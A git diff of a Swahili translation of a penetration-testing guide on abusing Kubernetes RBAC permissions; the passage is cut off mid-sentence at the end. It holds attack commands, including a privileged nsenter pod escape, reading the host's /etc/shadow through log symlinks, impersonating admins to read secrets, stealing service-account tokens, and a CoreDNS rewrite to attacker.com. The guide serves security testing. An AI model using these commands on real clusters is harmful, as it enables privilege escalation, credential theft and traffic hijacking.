diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index c7dcc2ad1..9b4c076f9 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -2,22 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -Hapa unaweza kupata baadhi ya mipangilio ya Roles na ClusterRoles ambayo inaweza kuwa hatari.\ -Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono kwa `kubectl api-resources` +Hapa unaweza kupata baadhi ya usanidi wa Roles na ClusterRoles ambao unaweza kuwa hatari.\ +Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono na `kubectl api-resources` ## **Privilege Escalation** -Inarejelea sanaa ya kupata **ufikiaji wa principal tofauti** ndani ya klasta **ikiwa na mamlaka tofauti** (ndani ya klasta ya kubernetes au kwa mawingu ya nje) kuliko zile ulizo nazo tayari, katika Kubernetes kuna k基本 **mbinu 4 kuu za kupandisha mamlaka**: +Inarejelea sanaa ya kupata **access to a different principal** ndani ya cluster **with different privileges** (ndani ya kubernetes cluster au kwa external clouds) tofauti na zile ulizonazo sasa; katika Kubernetes kwa msingi kuna takriban **4 main techniques to escalate privileges**: -- Kuwa na uwezo wa **kujifanya** mtumiaji/katika makundi/SAs wengine wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje -- Kuwa na uwezo wa **kuunda/kurekebisha/kutekeleza pods** ambapo unaweza **kupata au kuunganisha SAs** wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje -- Kuwa na uwezo wa **kusoma siri** kwani token za SAs zimehifadhiwa kama siri -- Kuwa na uwezo wa **kutoroka hadi kwenye node** kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazotembea kwenye node, akidi za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo) -- Mbinu ya tano ambayo inastahili kutajwa ni uwezo wa **kukimbia port-forward** katika pod, kwani unaweza kuwa na uwezo wa kufikia rasilimali za kuvutia ndani ya pod hiyo. +- Kuwa na uwezo wa **impersonate** user/groups/SAs wengine wenye privileges bora ndani ya kubernetes cluster au kwa external clouds +- Kuwa na uwezo wa **create/patch/exec pods** ambako unaweza **find or attach SAs** wenye privileges bora ndani ya kubernetes cluster au kwa external clouds +- Kuwa na uwezo wa **read secrets** kwani tokens za SAs zimehifadhiwa kama secrets +- Kuwa na uwezo wa **escape to the node** kutoka container, ambapo unaweza kuiba secrets zote za containers zinazokimbia kwenye node, credentials za node, na permissions za node katika cloud inayoendesha (ikiwa ipo) +- Mbinu ya tano inayostahili kutajwa ni uwezo wa **run port-forward** ndani ya pod, kwa kuwa unaweza kufikia resources za kuvutia ndani ya pod hiyo. ### Access Any Resource or Verb (Wildcard) -**wildcard (\*) inatoa ruhusa juu ya rasilimali yoyote na kitenzi chochote**. Inatumika na wasimamizi. Ndani ya ClusterRole hii inamaanisha kwamba mshambuliaji anaweza kutumia anynamespace katika klasta +The **wildcard (\*) gives permission over any resource with any verb**. Inatumika na admins. Ndani ya ClusterRole hii inamaanisha kwamba attacker anaweza kutumia vibaya namespace yoyote katika cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Access Any Resource with a specific verb +### Pata Rasilimali Yoyote kwa kitenzi maalum -In RBAC, ruhusa fulani zina hatari kubwa: +Katika RBAC, ruhusa fulani zinaweka hatari kubwa: -1. **`create`:** Inatoa uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka. -2. **`list`:** Inaruhusu kuorodhesha rasilimali zote, ikihatarisha kuvuja kwa data nyeti. -3. **`get`:** Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikileta tishio la usalama. +1. **`create`:** Hutoa uwezo wa ku-create rasilimali yoyote ya cluster, ikiweka hatari ya privilege escalation. +2. **`list`:** Inaruhusu kuorodhesha rasilimali zote, na inaweza kusababisha leaking ya data nyeti. +3. **`get`:** Inaruhusu kufikia secrets kutoka kwa service accounts, ikileta tishio la usalama. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi anapandisha mamlaka kwake. +Mshambuliaji mwenye ruhusa za kuunda pod anaweza kuhusisha Service Account yenye ruhusa za juu ndani ya pod na kuiba token ili kujionyesha kama Service Account. Hii inamuwezesha kupandisha kwa ufanisi kiwango cha ruhusa. -Mfano wa pod ambayo itakuwa na uwezo wa kuiba token ya akaunti ya huduma `bootstrap-signer` na kuisafirisha kwa mshambuliaji: +Mfano wa pod itakayochukua token ya Service Account `bootstrap-signer` na kuituma kwa mshambuliaji: ```yaml apiVersion: v1 kind: Pod @@ -74,11 +74,11 @@ hostNetwork: true ``` ### Pod Create & Escape -Ifuatayo inaonyesha haki zote ambazo kontena inaweza kuwa nazo: +Zifuatazo zinaonyesha vibali vyote ambavyo container inaweza kuwa navyo: -- **Privileged access** (kuondoa ulinzi na kuweka uwezo) -- **Disable namespaces hostIPC and hostPid** ambazo zinaweza kusaidia kuongeza haki -- **Disable hostNetwork** namespace, ikitoa ufikiaji wa kuiba haki za wingu za nodi na ufikiaji bora wa mitandao +- **Privileged access** (kuondoa kinga na kuweka capabilities) +- **Disable namespaces hostIPC and hostPid** ambazo zinaweza kusaidia kupandisha vibali +- **Disable hostNetwork** namespace, ambayo hutoa ufikiaji wa kuiba vibali za cloud za nodes na ufikiaji bora wa mitandao - **Mount hosts / inside the container** ```yaml:super_privs.yaml apiVersion: v1 @@ -115,17 +115,19 @@ volumes: hostPath: path: / ``` -Unda pod na: +Unda pod kwa: ```bash kubectl --token $token create -f mount_root.yaml ``` -Moja ya mistari kutoka [hiki tweet](https://twitter.com/mauilion/status/1129468485480751104) na nyongeza kadhaa: +Mstari mmoja kutoka [this tweet](https://twitter.com/mauilion/status/1129468485480751104) na kwa nyongeza kadhaa: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` +Sasa baada ya kuweza kutoroka hadi node, angalia post-exploitation techniques katika: + #### Stealth -Huenda unataka kuwa **stealthier**, katika kurasa zinazofuata unaweza kuona kile ambacho utaweza kufikia ikiwa utaunda pod kwa kuwezesha baadhi ya ruhusa zilizotajwa katika kiolezo kilichopita: +Huenda unataka kuwa **stealthier**, katika kurasa zifuatazo utaona kile unachoweza kufikia ikiwa utaunda pod ukiwa umewezesha tu baadhi ya ruhusa zilizotajwa katika template ya awali: - **Privileged + hostPID** - **Privileged only** @@ -134,12 +136,12 @@ Huenda unataka kuwa **stealthier**, katika kurasa zinazofuata unaweza kuona kile - **hostNetwork** - **hostIPC** -_Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya mipangilio ya pods zilizopatiwa ruhusa katika_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya miundo ya privileged pods iliyotajwa hapo awali katika_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud -Ikiwa unaweza **kuunda** **pod** (na hiari **akaunti ya huduma**) unaweza kuwa na uwezo wa **kupata ruhusa katika mazingira ya wingu** kwa **kuteua majukumu ya wingu kwa pod au akaunti ya huduma** na kisha kuifikia.\ -Zaidi ya hayo, ikiwa unaweza kuunda **pod yenye nafasi ya mtandao wa mwenyeji** unaweza **kuiba IAM** jukumu la **node** instance. +Ikiwa unaweza **kuunda** **pod** (na hiari **service account**) unaweza kuwa na uwezo wa **kupata privileges katika cloud environment** kwa **kupewa cloud roles kwa pod au service account** na kisha kuifikia.\ +Zaidi ya hayo, ikiwa unaweza kuunda **pod with the host network namespace** unaweza **steal the IAM** role ya **node** instance. Kwa maelezo zaidi angalia: @@ -149,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Inawezekana kutumia vibaya ruhusa hizi ili **kuunda pod mpya** na kuanzisha ruhusa kama katika mfano wa awali. +Inawezekana kutumia vibaya ruhusa hizi ku**unda pod mpya** na **kuinua privileges** kama katika mfano uliotangulia. -Yaml ifuatayo **inaunda daemonset na inatoa token ya SA** ndani ya pod: +Yaml ifuatayo **creates a daemonset and exfiltrates the token of the SA** inside the pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -189,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** ni rasilimali katika kubernetes inayotumika kwa **kukimbia amri katika shell ndani ya pod**. Hii inaruhusu **kukimbia amri ndani ya kontena au kupata shell ndani**. +**`pods/exec`** ni rasilimali katika kubernetes inayotumika kwa **kuendesha amri katika shell ndani ya pod**. Hii inaruhusu **kuendesha amri ndani ya containers au kupata shell ndani**. -Hivyo, inawezekana **kuingia ndani ya pod na kuiba token ya SA**, au kuingia pod yenye mamlaka, kutoroka hadi kwenye node, na kuiba token zote za pods katika node na (ku)itumia node: +Kwa hivyo, inawezekana **kuingia ndani ya pod na kuiba token ya SA**, au kuingia kwenye privileged pod, kutoroka hadi node, na kuiba tokens zote za pods kwenye node na (kutumia vibaya) node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Kwa default amri inatekelezwa katika kontena la kwanza la pod. Pata **pods zote katika kontena** kwa kutumia `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` na kisha **onyesha kontena** ambapo unataka kutekeleza kwa kutumia `kubectl exec -it -c -- sh` +> Kwa chaguo-msingi amri inatekelezwa kwenye container ya kwanza ya pod. Pata **container zote ndani ya pod** kwa `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` kisha **taja container** unayotaka kuitumia kwa `kubectl exec -it -c -- sh` -Ikiwa ni kontena lisilo na mfumo wa uendeshaji unaweza kujaribu kutumia **shell builtins** kupata taarifa za kontena au kupakia zana zako mwenyewe kama **busybox** kwa kutumia: **`kubectl cp :`**. +If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp :`**. ### port-forward -Ruhusa hii inaruhusu **kupeleka bandari moja ya ndani kwa bandari moja katika pod iliyoainishwa**. Hii inakusudiwa kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod: +This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (tovuti?) inside a pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -Kama [**ilivyoonyeshwa katika utafiti huu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ikiwa unaweza kufikia au kuunda pod yenye **directories ya hosts `/var/log/` imewekwa** juu yake, unaweza **kutoroka kutoka kwenye kontena**.\ -Hii ni kwa sababu wakati **Kube-API inajaribu kupata logi** ya kontena (kwa kutumia `kubectl logs `), inafanya **ombwe la faili `0.log`** la pod kwa kutumia kiunganishi cha `/logs/` cha huduma ya **Kubelet**.\ -Huduma ya Kubelet inatoa kiunganishi cha `/logs/` ambacho kimsingi ni **kuonyesha mfumo wa faili wa `/var/log` wa kontena**. +As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ikiwa unaweza kufikia au kuunda pod yenye **hosts `/var/log/` directory mounted** juu yake, unaweza **escape from the container**.\ +Hii ni kwa msingi kwamba wakati **Kube-API tries to get the logs** za container (ikitumia `kubectl logs `), huomba faili **`0.log`** ya pod kwa kutumia endpoint `/logs/` ya huduma ya **Kubelet**.\ +Huduma ya Kubelet inaonyesha endpoint `/logs/` ambayo kwa msingi inafanya **exposing the `/var/log` filesystem of the container**. -Kwa hivyo, mshambuliaji mwenye **ufikiaji wa kuandika katika folda /var/log/** ya kontena anaweza kutumia tabia hii kwa njia 2: +Kwa hiyo, mshambuliaji mwenye **access to write in the /var/log/ folder** ya container anaweza kutumia tabia hizi kwa njia 2: -- Kubadilisha faili `0.log` la kontena lake (ambalo kawaida liko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink inayoelekeza kwenye `/etc/shadow`** kwa mfano. Kisha, utaweza kutoa faili la kivuli cha hosts kwa kufanya: +- Kubadilisha faili `0.log` ya container yake (kwa kawaida iko katika `/var/logs/pods/namespace_pod_uid/container/0.log`) kuwa **symlink pointing to `/etc/shadow`**, kwa mfano. Kisha, utakuwa na uwezo wa exfiltrate hosts shadow file doing: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -222,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Ikiwa mshambuliaji anadhibiti kiongozi yeyote mwenye **idhini za kusoma `nodes/log`**, anaweza tu kuunda **symlink** katika `/host-mounted/var/log/sym` hadi `/` na wakati **anapofikia `https://:10250/logs/sym/` atataja mfumo wa faili wa mizizi wa mwenyeji** (kubadilisha symlink kunaweza kutoa ufikiaji wa faili). +- Ikiwa mshambuliaji anadhibiti principal yoyote mwenye **idhini za kusoma `nodes/log`**, anaweza kuunda tu **symlink** katika `/host-mounted/var/log/sym` kuelekea `/` na **anapofikia `https://:10250/logs/sym/` atataja mfumo wa faili wa root wa mwenyeji** (kubadilisha symlink kunaweza kutoa upatikanaji wa faili). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -234,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Maabara na exploit ya otomatiki inaweza kupatikana katika** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Maabara na exploit ya kiotomatiki inaweza kupatikana katika** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### Kupita ulinzi wa readOnly -Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN upo, unaweza tu kuunganisha tena folda hiyo kama rw: +Ikiwa una bahati na capability yenye vibali vya juu `CAP_SYS_ADMIN` inapatikana, unaweza tu remount folda kama rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Bypassing hostPath readOnly protection +#### Kupitisha ulinzi wa hostPath readOnly -Kama ilivyoelezwa katika [**utafiti huu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) inawezekana kupita ulinzi: +Kama ilivyoelezwa katika [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) inawezekana kupitisha ulinzi: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Ambayo ilikusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika: +Ambayo ililenga kuzuia kutoroka kama zile za awali kwa, badala ya kutumia hostPath mount, kutumia PersistentVolume na PersistentVolumeClaim kuchomeka folda ya hosts ndani ya container kwa ruhusa ya kuandikwa: ```yaml apiVersion: v1 kind: PersistentVolume @@ -296,16 +298,16 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Kujifanya kuwa akaunti zenye mamlaka** +### **Kujifanya akaunti zenye ruhusa** -Kwa kutumia [**kujifanya kuwa mtumiaji**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) mamlaka, mshambuliaji anaweza kujifanya kuwa akaunti yenye mamlaka. +Kwa ruhusa ya [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) mshambuliaji anaweza kujifanya akaunti yenye ruhusa. -Tumia tu parameter `--as=` katika amri ya `kubectl` kujifanya kuwa mtumiaji, au `--as-group=` kujifanya kuwa kundi: +Tumia tu parameter `--as=` katika amri ya `kubectl` kuiga mtumiaji, au `--as-group=` kuiga kundi: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Au tumia API ya REST: +Au tumia REST API: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -313,16 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listing Secrets +### Kuorodhesha Secrets -Ruhusa ya **kuorodhesha siri inaweza kumruhusu mshambuliaji kusoma siri** kwa kufikia kiunganishi cha API ya REST: +Ruhusa ya **kuorodhesha secrets inaweza kumruhusu mshambuliaji kusoma secrets** kwa kutumia REST API endpoint: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Kuunda na Kusoma Siri +### Kuunda na Kusoma Secrets -Kuna aina maalum ya siri ya Kubernetes ya aina **kubernetes.io/service-account-token** ambayo inahifadhi token za akaunti ya huduma. -Ikiwa una ruhusa za kuunda na kusoma siri, na pia unajua jina la akaunti ya huduma, unaweza kuunda siri kama ifuatavyo na kisha kuiba token ya akaunti ya huduma ya mwathirika kutoka kwake: +Kuna aina maalum ya Secret ya Kubernetes ya aina **kubernetes.io/service-account-token** ambayo huhifadhi token za serviceaccount. +Iwapo una ruhusa za kuunda na kusoma secrets, na pia unajua jina la serviceaccount, unaweza kuunda secret kama ifuatavyo kisha kuiba token ya serviceaccount ya mwathiriwa kutoka ndani yake: ```yaml apiVersion: v1 kind: Secret @@ -333,7 +335,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Mfano wa unyakuzi: +Mfano exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -381,17 +383,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma siri katika eneo fulani, akaunti ya huduma ya mwathirika pia lazima iwe katika eneo hilo hilo. +Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma secrets katika namespace fulani, serviceaccount ya mwathirika pia lazima iwe katika namespace hiyo hiyo. -### Kusoma siri – kulazimisha vitambulisho vya token -Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina halisi la siri ili kuitumia, tofauti na ruhusa pana ya _**kuorodhesha siri**_, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na token ya alphanumeric ya herufi tano za nasibu (bila kuhesabu wahusika fulani) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +### Kusoma secret – brute-forcing token IDs -Token inazalishwa kutoka seti ndogo ya wahusika 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha ili kubaini token katika masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti. +Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina halisi la secret ili kuitumia, tofauti na ruhusa pana ya _**listing secrets**_, bado kuna udhaifu. Default service accounts katika system zinaweza kuorodheshwa, kila moja ikihusishwa na secret. Secrets hizi zina muundo wa jina: prefix ya static ikifuatiwa na token ya nasibu yenye tabia tano za alphanumeric (isipokuwa baadhi ya herufi) kulingana na [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -### EncrpytionConfiguration katika maandiko wazi +Token hiyo inazalishwa kutoka seti ndogo ya characters 27 (`bcdfghjklmnpqrstvwxz2456789`), badala ya wigo kamili wa alphanumeric. Kizuizi hiki kinapunguza idadi ya mchanganyiko hadi 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kwa urahisi kutekeleza brute-force attack kugundua token ndani ya masaa, jambo ambalo linaweza kusababisha privilege escalation kwa kupata service accounts nyeti. -Inawezekana kupata funguo za maandiko wazi za kuandaa data iliyohifadhiwa katika aina hii ya kitu kama: +### EncrpytionConfiguration katika maandishi wazi + +Inawezekana kupata funguo za maandishi wazi za ku-encrypt data at rest katika aina hii ya object kama: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -448,11 +451,11 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Certificate Signing Requests +### Maombi ya Kusainiwa kwa Vyeti Ikiwa una vitenzi **`create`** katika rasilimali `certificatesigningrequests` (au angalau katika `certificatesigningrequests/nodeClient`). Unaweza **kuunda** CeSR mpya ya **node mpya.** -Kulingana na [nyaraka inawezekana kuidhinisha ombi hizi kiotomatiki](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), hivyo katika kesi hiyo **huhitaji ruhusa za ziada**. Ikiwa sivyo, itabidi uweze kuidhinisha ombi, ambayo inamaanisha sasisha katika `certificatesigningrequests/approval` na `approve` katika `signers` na resourceName `/` au `/*` +Kulingana na [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), hivyo katika kesi hiyo **huitaji ruhusa za ziada**. Ikiwa sivyo, utahitaji kuwa na uwezo wa kuidhinisha ombi, ambayo inamaanisha kusasisha kwenye `certificatesigningrequests/approval` na `approve` katika `signers` kwa resourceName `/` au `/*` Mfano wa **role** yenye ruhusa zote zinazohitajika ni: ```yaml @@ -485,19 +488,19 @@ resourceNames: verbs: - approve ``` -Kwa hivyo, na CSR mpya ya node iliyothibitishwa, unaweza **kutilia shaka** ruhusa maalum za nodes ili **kuiba siri** na **kuinua mamlaka**. +Hivyo, kwa node CSR mpya iliyothibitishwa, unaweza **abuse** ruhusa maalum za nodes ili **steal secrets** na **escalate privileges**. -Katika [**post hii**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) na [**hii moja**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) usanidi wa GKE K8s TLS Bootstrap umewekwa na **kusainiwa kiotomatiki** na unakiliwa ili kuzalisha ithibitisho ya Node mpya ya K8s na kisha kutumiwa kuimarisha mamlaka kwa kuiba siri.\ -Ikiwa **una mamlaka zilizotajwa unaweza kufanya kitu kama hicho**. Kumbuka kwamba mfano wa kwanza unakabiliwa na kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu **node inaweza kufikia tu siri za kontena zilizowekwa juu yake.** +In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration imewekwa na **automatic signing** na inafanyiwa abuse kuzalisha credentials za K8s Node mpya na kisha kuzitumia ku-escalate privileges kwa kuiba secrets.\ +If you **have the mentioned privileges yo could do the same thing**. Kumbuka kuwa mfano wa kwanza bypasses the error unaouzuia node mpya kupata secrets ndani ya containers kwa sababu a **node can only access the secrets of containers mounted on it.** -Njia ya kukabili hili ni tu **kuunda ithibitisho ya node kwa jina la node ambapo kontena yenye siri za kuvutia imewekwa** (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza): +Njia ya ku-bypass hili ni tu **create a node credentials for the node name where the container with the interesting secrets is mounted** (lakini angalia jinsi ya kufanya hivyo katika post ya kwanza): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Wajibu wanaoweza kubadilisha **`configmaps`** katika eneo la kube-system kwenye EKS (lazima wawe ndani ya AWS) klasta wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha **aws-auth** configmap.\ -Vitenzi vinavyohitajika ni **`update`** na **`patch`**, au **`create`** ikiwa configmap haijaundwa: +Watu ambao wanaweza kubadilisha **`configmaps`** katika namespace kube-system kwenye cluster za EKS (zinapaswa kuwa katika AWS) wanaweza kupata vibali vya admin wa cluster kwa kuandika upya configmap ya **aws-auth**.\ +Vitendo vinavyohitajika ni **`update`** na **`patch`**, au **`create`** ikiwa configmap haikuundwa: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -537,18 +540,18 @@ groups: - system:masters ``` > [!WARNING] -> Unaweza kutumia **`aws-auth`** kwa **kuendelea** kutoa ufikiaji kwa watumiaji kutoka **akaunti nyingine**. +> Unaweza kutumia **`aws-auth`** kwa **persistence** ili kutoa ufikiaji kwa watumiaji kutoka **other accounts**. > -> Hata hivyo, `aws --profile other_account eks update-kubeconfig --name ` **haifanyi kazi kutoka akaunti tofauti**. Lakini kwa kweli `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` inafanya kazi ikiwa utaweka ARN ya klasta badala ya jina tu.\ -> Ili kufanya `kubectl` ifanye kazi, hakikisha tu **unapanga** **kubeconfig ya waathirika** na katika arg za aws exec ongeza `--profile other_account_role` ili kubectl itumie profaili ya akaunti nyingine kupata token na kuwasiliana na AWS. +> Hata hivyo, `aws --profile other_account eks update-kubeconfig --name ` **haiwezi kufanya kazi kutoka kwenye account tofauti**. Lakini kwa kweli `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` inafanya kazi ikiwa utaweka ARN ya cluster badala ya jina pekee.\ +> Ili kufanya `kubectl` ifanye kazi, hakikisha tu ume **configure** the **victims kubeconfig** na kwenye aws exec args ongeza `--profile other_account_role` ili kubectl itumie profile ya account nyingine kupata token na kuwasiliana na AWS. ### CoreDNS config map -Ikiwa una ruhusa za kubadilisha **`coredns` configmap** katika eneo la `kube-system`, unaweza kubadilisha anwani ambazo maeneo yatatatuliwa ili uweze kufanya mashambulizi ya MitM ili **kuiba taarifa nyeti au kuingiza maudhui mabaya**. +Ili ikiwa una ruhusa za kurekebisha **`coredns` configmap** katika namespace ya `kube-system`, unaweza kubadilisha anwani ambazo domains zitaamriwa (resolved) ili uweze kufanya MitM attacks za kupora taarifa nyeti au kuingiza maudhui haribifu. Vitenzi vinavyohitajika ni **`update`** na **`patch`** juu ya **`coredns`** configmap (au config maps zote). -Faili ya kawaida ya **coredns** ina kitu kama hiki: +Faili ya kawaida ya **coredns file** ina kitu kama hiki: ```yaml data: Corefile: | @@ -578,58 +581,75 @@ reload loadbalance } ``` -Mshambuliaji anaweza kupakua ikifanya `kubectl get configmap coredns -n kube-system -o yaml`, kuhariri na kuongeza kitu kama `rewrite name victim.com attacker.com` ili kila wakati `victim.com` inapotafutwa, kwa kweli `attacker.com` ndiyo domain itakayofikiwa. Kisha, itatumika ikifanya `kubectl apply -f poison_dns.yaml`. +Mshambuliaji anaweza kuipakua akiendesha `kubectl get configmap coredns -n kube-system -o yaml`, kuibadilisha kwa kuongeza kitu kama `rewrite name victim.com attacker.com` hivyo kila mara `victim.com` inapofikiwa kwa kweli `attacker.com` ndiyo kikoa kitakachofikiwa. Kisha aiweke kwa kuendesha `kubectl apply -f poison_dns.yaml`. -Chaguo lingine ni kuhariri tu faili ikifanya `kubectl edit configmap coredns -n kube-system` na kufanya mabadiliko. +Chaguo jingine ni kuhariri faili moja kwa moja kwa kuendesha `kubectl edit configmap coredns -n kube-system` na kufanya mabadiliko. -### Kuongeza Mamlaka katika GKE +### Kupandisha ngazi katika GKE -Kuna **njia 2 za kutoa ruhusa za K8s kwa wahusika wa GCP**. Katika hali yoyote, mhusika pia anahitaji ruhusa **`container.clusters.get`** ili kuwa na uwezo wa kukusanya akreditifia za kufikia klasta, au itabidi **ujenge faili yako ya kubectl config** (fuata kiungo kinachofuata). +Kuna **2 ways to assign K8s permissions to GCP principals**. Kwa hali yoyote mhusika pia anahitaji ruhusa **`container.clusters.get`** ili aweze kukusanya credentials za kupata cluster, au utahitaji **generate your own kubectl config file** (fuata link ifuatayo). > [!WARNING] -> Wakati wa kuzungumza na kiunganishi cha K8s api, **token ya uthibitisho ya GCP itatumwa**. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza **itaangalia kama mhusika** (kwa barua pepe) **ana ufikiaji wowote ndani ya klasta**, kisha itaangalia kama ana **ufikiaji wowote kupitia GCP IAM**.\ -> Ikiwa **yoyote** kati ya hizo ni **kweli**, atajibiwa. Ikiwa **siyo** ni **kosa** linalopendekeza kutoa **ruhusa kupitia GCP IAM** litapelekwa. +> When talking to the K8s api endpoint, the 